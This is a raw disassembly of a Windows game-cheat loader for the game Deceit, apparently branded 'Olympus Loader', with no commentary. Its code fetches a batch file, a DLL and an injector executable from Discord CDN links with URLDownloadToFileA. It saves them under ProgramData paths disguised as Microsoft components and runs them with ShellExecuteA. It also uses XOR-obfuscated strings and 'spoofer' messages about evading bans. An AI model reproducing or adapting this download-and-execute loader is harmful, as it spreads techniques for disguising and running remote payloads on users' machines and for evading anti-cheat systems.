mov qword [rbp + 0x228], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x210], 0
cmp rdx, 0x10
jb 0x14005119d
mov rcx, qword [rbp + 0x158]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051198
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526e1
call fcn.1400c17e8
mov dword [rsp + 0x28], ebx
lea r8, str.https:__olympusdeceit.mysellix.io_en_en_product_6494a5bf5a3cf
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400517f6
cmp rsi, 0x10
lea rcx, [rbp + 0x350]
cmovae rcx, rdi
cmp rbx, 7
jne 0x1400517f6
mov r8, rbx
lea rdx, str.Spoofer
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400517f6
cmp byte [0x1400db0e1], 0
movups xmm0, xmmword [str.dHVU_USY]
movzx eax, word [0x1400db0e0]
mov word [rbp + 0x58], ax
movups xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [0x1400db0d8]
movsd qword [rbp + 0x50], xmm0
je 0x1400513d4
mov r8d, r15d
cmp r13d, 2
jl 0x140051391
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp + 0x40]
movdqa xmm5, xmmword [0x1400db8b0]
mov eax, 5
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm6, eax
mov eax, Ordinal_33
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140051280
cmp r8d, 0x1a
jge 0x1400513d4
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x1400513a0
xorps xmm0, xmm0
mov qword [rbp + 0x148], r15
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x150], r15
lea rax, [rbp + 0x40]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x1400513f3
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x138]
call fcn.140056c90
lea rcx, [rbp + 0x178]
call fcn.1400489c0
mov rcx, rax
lea rdx, [rbp + 0x138]
movaps xmm2, xmm10
call fcn.14004c710
mov rdx, qword [rbp + 0x190]
cmp rdx, 0x10
jb 0x14005146d
mov rcx, qword [rbp + 0x178]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051468
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526e8
call fcn.1400c17e8
mov rdx, qword [rbp + 0x150]
mov qword [rbp + 0x188], r15
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x178], 0
cmp rdx, 0x10
jb 0x1400514c7
mov rcx, qword [rbp + 0x138]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400514c2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526e8
call fcn.1400c17e8
lea rbx, str.C:ProgramData_ask1298isadoi892112
mov qword [rbp + 0x1b8], Ordinal_41
mov qword [rbp + 0x1b0], rbx
call fcn.1400c26ac
movaps xmm0, xmmword [rbp + 0x1b0]
lea r8, [rbp - 0x10]
mov edx, eax
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x20]
call fcn.140046b40
cmp qword [rbp + 0x38], 8
lea rcx, [rbp + 0x20]
cmovae rcx, qword [rbp + 0x20]
call fcn.1400c27e8
mov qword [rbp + 0x230], rax
shr rax, 0x20
test eax, eax
jne 0x140052c8c
mov rdx, qword [rbp + 0x38]
cmp rdx, 8
jb 0x140051566
mov rcx, qword [rbp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051561
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526ef
call fcn.1400c17e8
xorps xmm0, xmm0
mov qword [rbp + 0x448], r15
mov r8d, Ordinal_45
mov qword [rbp + 0x450], r15
lea rdx, str.C:ProgramData_ask1298isadoi892112_spoof.bat
lea rcx, [rbp + 0x438]
movups xmmword [rbp + 0x438], xmm0
call fcn.140056c90
xorps xmm0, xmm0
mov qword [rbp + 0x410], r15
mov r8d, 0x61
mov qword [rbp + 0x418], r15
lea rdx, str.https:__cdn.discordapp.com_attachments_1121739437093691463_1128043185785016320_deceit_spoofer.bat
lea rcx, [rbp + 0x400]
movups xmmword [rbp + 0x400], xmm0
call fcn.140056c90
cmp qword [rbp + 0x450], 0x10
lea r8, [rbp + 0x438]
lea rdx, [rbp + 0x400]
mov qword [rsp + 0x20], r15
cmovae r8, qword [rbp + 0x438]
cmp qword [rbp + 0x418], 0x10
cmovae rdx, qword [rbp + 0x400]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 0xa
lea r8, str.C:ProgramData_ask1298isadoi892112_spoof.bat
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x1c0], rbx
mov qword [rbp + 0x1c8], Ordinal_41
call fcn.1400c26ac
movaps xmm0, xmmword [rbp + 0x1c0]
lea r8, [rbp - 0x10]
mov edx, eax
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x290]
call fcn.140046b40
cmp qword [rbp + 0x2a8], 8
lea rcx, [rbp + 0x290]
lea rbx, [0x1400ef780]
mov qword [rbp + 0x3d0], 0
cmovae rcx, qword [rbp + 0x290]
mov qword [rbp + 0x3d8], rbx
call fcn.1400c2c94
movzx ecx, al
shr rax, 0x20
mov dword [rbp + 0x1a0], eax
mov qword [rbp + 0x1a8], rbx
movaps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x3d0], xmm0
mov qword [rbp + 0x468], rcx
cmp eax, 0x91
jne 0x1400516ec
lea r8, [rbp + 0x468]
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x290]
call fcn.140047f70
cmp dword [rbp + 0x3d0], 0
jne 0x140052c71
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 8
jb 0x14005173f
mov rcx, qword [rbp + 0x290]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005173a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526f6
call fcn.1400c17e8
mov r9d, 0x40
lea r8, str.Success
lea rdx, str.Spoofed_your_system__you_may_launch_the_game__Make_sure_to_use_a_VPN.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdx, qword [rbp + 0x418]
cmp rdx, 0x10
jb 0x14005179c
mov rcx, qword [rbp + 0x400]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051797
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526fd
call fcn.1400c17e8
mov rdx, qword [rbp + 0x450]
mov qword [rbp + 0x410], r15
mov qword [rbp + 0x418], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x400], 0
cmp rdx, 0x10
jb 0x1400517f6
mov rcx, qword [rbp + 0x438]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400517f1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400526fd
call fcn.1400c17e8
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x140051837
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051832
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052704
call fcn.1400c17e8
mov rdx, qword [rbp + 0x318]
cmp rdx, 0x10
jb 0x140051878
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051873
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052704
call fcn.1400c17e8
mov rdx, qword [rbp + 0x388]
mov qword [rbp + 0x310], r15
mov qword [rbp + 0x318], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x300], 0
cmp rdx, 0x10
jb 0x1400518d2
mov rcx, qword [rbp + 0x370]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400518cd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052704
call fcn.1400c17e8
cmp rsi, 0x10
jb 0x140051909
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140051901
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052704
mov rcx, rdi
call fcn.1400c17e8
mov rcx, qword [0x1400f1228]
inc r14d
mov rdx, qword [0x1400f1220]
mov rax, rcx
sub rax, rdx
movsxd rbx, r14d
sar rax, 6
cmp rbx, rax
jb 0x140050be0
mov rsi, qword [rbp + 0xe8]
jmp 0x1400524c3
cmp eax, 1
jne 0x140052220
cmp byte [0x1400f0bd9], 0
je 0x1400524c3
cmp byte [0x1400db531], 0
movups xmm0, xmmword [str.VS_XHTPXla]
movzx eax, word [0x1400db530]
mov word [rbp + 8], ax
movups xmmword [rbp - 0x10], xmm0
movsd xmm0, qword [0x1400db528]
movsd qword [rbp], xmm0
je 0x140051b24
mov r8d, r15d
cmp r13d, 2
jl 0x140051ae1
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp - 0x10]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, ebx
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x1400519d0
cmp r8d, 0x1a
jge 0x140051b24
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140051af0
xorps xmm0, xmm0
mov qword [rbp + 0x30], r15
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x38], r15
lea rax, [rbp - 0x10]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051b40
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x20]
call fcn.140056c90
lea rcx, [rbp + 0x2d0]
call fcn.1400489c0
mov rcx, rax
lea rdx, [rbp + 0x20]
movaps xmm2, xmm10
call fcn.14004c710
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x140051bb4
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051baf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005270b
call fcn.1400c17e8
mov rdx, qword [rbp + 0x38]
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2d0], 0
cmp rdx, 0x10
jb 0x140051c08
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051c03
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005270b
call fcn.1400c17e8
lea rax, str.C:ProgramDataMicrosoftPlus
mov qword [rbp + 0x1d8], Ordinal_33
mov qword [rbp + 0x1d0], rax
call fcn.1400c26ac
movaps xmm0, xmmword [rbp + 0x1d0]
lea r8, [rbp - 0x10]
mov edx, eax
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x20]
call fcn.140046b40
cmp qword [rbp + 0x38], 8
lea rcx, [rbp + 0x20]
cmovae rcx, qword [rbp + 0x20]
call fcn.1400c27e8
mov qword [rbp + 0x230], rax
shr rax, 0x20
test eax, eax
jne 0x140052ca2
mov rdx, qword [rbp + 0x38]
cmp rdx, 8
jb 0x140051ca7
mov rcx, qword [rbp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051ca2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052712
call fcn.1400c17e8
xorps xmm0, xmm0
mov qword [rbp + 0x2a0], r15
mov r8d, gethostname
mov qword [rbp + 0x2a8], r15
lea rdx, str.C:ProgramDataMicrosoftPlusMicrosoftHelpService.dll
lea rcx, [rbp + 0x290]
movups xmmword [rbp + 0x290], xmm0
call fcn.140056c90
xorps xmm0, xmm0
mov qword [rbp + 0x310], r15
mov r8d, 0x57
mov qword [rbp + 0x318], r15
lea rdx, str.https:__cdn.discordapp.com_attachments_1122377040532865034_1125214555887374478_test.dll
lea rcx, [rbp + 0x300]
movups xmmword [rbp + 0x300], xmm0
call fcn.140056c90
cmp qword [rbp + 0x2a8], 0x10
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x300]
mov qword [rsp + 0x20], r15
cmovae r8, qword [rbp + 0x290]
cmp qword [rbp + 0x318], 0x10
cmovae rdx, qword [rbp + 0x300]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xorps xmm0, xmm0
mov qword [rbp + 0x340], r15
mov r8d, Ordinal_45
mov qword [rbp + 0x348], r15
lea rdx, str.C:ProgramDataMicrosoftPlusInjectorYT.exe
lea rcx, [rbp + 0x330]
movups xmmword [rbp + 0x330], xmm0
call fcn.140056c90
xorps xmm0, xmm0
mov qword [rbp + 0x360], r15
mov r8d, 0x5d
mov qword [rbp + 0x368], r15
lea rdx, str.https:__cdn.discordapp.com_attachments_1122377040532865034_1125229017784651826_InjectorYT.exe
lea rcx, [rbp + 0x350]
movups xmmword [rbp + 0x350], xmm0
call fcn.140056c90
cmp qword [rbp + 0x348], 0x10
lea r8, [rbp + 0x330]
lea rdx, [rbp + 0x350]
mov qword [rsp + 0x20], r15
cmovae r8, qword [rbp + 0x330]
cmp qword [rbp + 0x368], 0x10
cmovae rdx, qword [rbp + 0x350]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 0xa
lea r8, str.C:ProgramDataMicrosoftPlusInjectorYT.exe
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [0x1400db1b1], 0
movups xmm0, xmmword [str.VS_XHXZ]
movzx eax, word [0x1400db1b0]
mov word [rbp + 8], ax
movups xmmword [rbp - 0x10], xmm0
movsd xmm0, qword [0x1400db1a8]
movsd qword [rbp], xmm0
je 0x140051fe4
mov r8d, r15d
cmp r13d, 2
jl 0x140051fa1
movdqa xmm0, xmmword [str.7777777777777777]
lea rcx, [rbp - 0x10]
movdqa xmm5, xmmword [0x1400db8b0]
movdqa xmm4, xmmword [0x1400dbc60]
movdqa xmm7, xmmword [0x1400db8d0]
movdqa xmmword [rbp + 0x230], xmm0
mov edx, dword [rbp + 0x230]
movd xmm6, r14d
movd xmm8, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400db8e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140051e90
cmp r8d, 0x1a
jge 0x140051fe4
movsxd rax, r8d
lea r9, [rbp - 0x10]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140051fb0
xorps xmm0, xmm0
mov qword [rbp + 0x30], r15
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x38], r15
lea rax, [rbp - 0x10]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140052000
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x20]
call fcn.140056c90
lea rcx, [rbp + 0x2d0]
call fcn.1400489c0
mov rcx, rax
lea rdx, [rbp + 0x20]
movaps xmm2, xmm10
call fcn.14004c710
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0x10
jb 0x140052074
mov rcx, qword [rbp + 0x2d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005206f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052719
call fcn.1400c17e8
mov rdx, qword [rbp + 0x38]
mov qword [rbp + 0x2e0], r15
mov qword [rbp + 0x2e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2d0], 0
cmp rdx, 0x10
jb 0x1400520c8
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400520c3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052719
call fcn.1400c17e8
mov rdx, qword [rbp + 0x368]
cmp rdx, 0x10
jb 0x140052109
mov rcx, qword [rbp + 0x350]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052104
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052720
call fcn.1400c17e8
mov rdx, qword [rbp + 0x348]
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x350], 0
cmp rdx, 0x10
jb 0x140052163
mov rcx, qword [rbp + 0x330]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005215e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052720
call fcn.1400c17e8
mov rdx, qword [rbp + 0x318]
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x348], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x330], 0
cmp rdx, 0x10
jb 0x1400521bd
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400521b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052720
call fcn.1400c17e8
mov rdx, qword [rbp + 0x2a8]
mov qword [rbp + 0x310], r15
mov qword [rbp + 0x318], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x300], 0
cmp rdx, 0x10
jb 0x1400524c3
mov rcx, qword [rbp + 0x290]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052216
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052720
call fcn.1400c17e8
jmp 0x1400524c3
cmp eax, 2
jne 0x1400524c3
cmp byte [0x1400f0bd9], 0
je 0x1400524c3
lea r9d, [rax + 2]
xor ecx, ecx
lea r8, str.Olympus___Loader
lea rdx, str.Is_your_Loader_Injector_having_issues__If_Yes__close_Deceit_before_hitting_Yes.
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x1400524c3
lea rdx, str.Deceit
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140052293
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_SendMessageA]
lea r8, str.Error
lea rdx, str.You_did_not_close_Deceit__retry.
jmp 0x1400524b8
lea rax, str.C:ProgramDataMicrosoftPlus
mov qword [rbp + 0x1e8], Ordinal_33
mov qword [rbp + 0x1e0], rax
call fcn.1400c26ac
movaps xmm0, xmmword [rbp + 0x1e0]
lea r8, [rbp - 0x10]
mov edx, eax
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x290]
call fcn.140046b40
cmp qword [rbp + 0x2a8], 8
lea rcx, [rbp + 0x290]
lea rbx, [0x1400ef780]
mov qword [rbp + 0x3c0], 0
cmovae rcx, qword [rbp + 0x290]
mov qword [rbp + 0x3c8], rbx
call fcn.1400c2c94
movzx ecx, al
shr rax, 0x20
mov dword [rbp + 0x1f0], eax
mov qword [rbp + 0x1f8], rbx
movaps xmm0, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x3c0], xmm0
mov qword [rbp + 0x460], rcx
cmp eax, 0x91
jne 0x14005234f
lea r8, [rbp + 0x460]
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x290]
call fcn.140047f70
cmp dword [rbp + 0x3c0], 0
jne 0x140052c20
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 8
jb 0x1400523a2
mov rcx, qword [rbp + 0x290]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005239d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052727
call fcn.1400c17e8
lea rax, str.C:ProgramData_acru
mov qword [rbp + 0x208], reloc.WS2_32.dll_send
mov qword [rbp + 0x200], rax
call fcn.1400c26ac
movaps xmm0, xmmword [rbp + 0x200]
lea r8, [rbp - 0x10]
mov edx, eax
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rbp + 0x290]
call fcn.140046b40
cmp qword [rbp + 0x2a8], 8
lea rcx, [rbp + 0x290]
mov qword [rbp + 0x3b0], 0
cmovae rcx, qword [rbp + 0x290]
mov qword [rbp + 0x3b8], rbx
call fcn.1400c2c94
movzx ecx, al
shr rax, 0x20
mov dword [rbp + 0xc0], eax
mov qword [rbp + 0xc8], rbx
movaps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x3b0], xmm0
mov qword [rbp + 0x458], rcx
cmp eax, 0x91
jne 0x140052457
lea r8, [rbp + 0x458]
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x290]
call fcn.140047f70
cmp dword [rbp + 0x3b0], 0
jne 0x140052cb2
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 8
jb 0x1400524aa
mov rcx, qword [rbp + 0x290]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400524a5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005272e
call fcn.1400c17e8
lea r8, str.Success
lea rdx, str.Successfully_cleaned_system._Relaunch_the_Loader.
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movss xmm9, dword [rbp - 0x80]
call fcn.1400110a0
call fcn.140009fe0
mov rcx, qword [0x1400f0c30]
mov r9d, 3
movss xmm0, dword [0x1400db6e4]
xor r8d, r8d
mov dword [rsp + 0x30], r15d
xor edx, edx
movss dword [rsp + 0x28], xmm0
mov rax, qword [rcx]
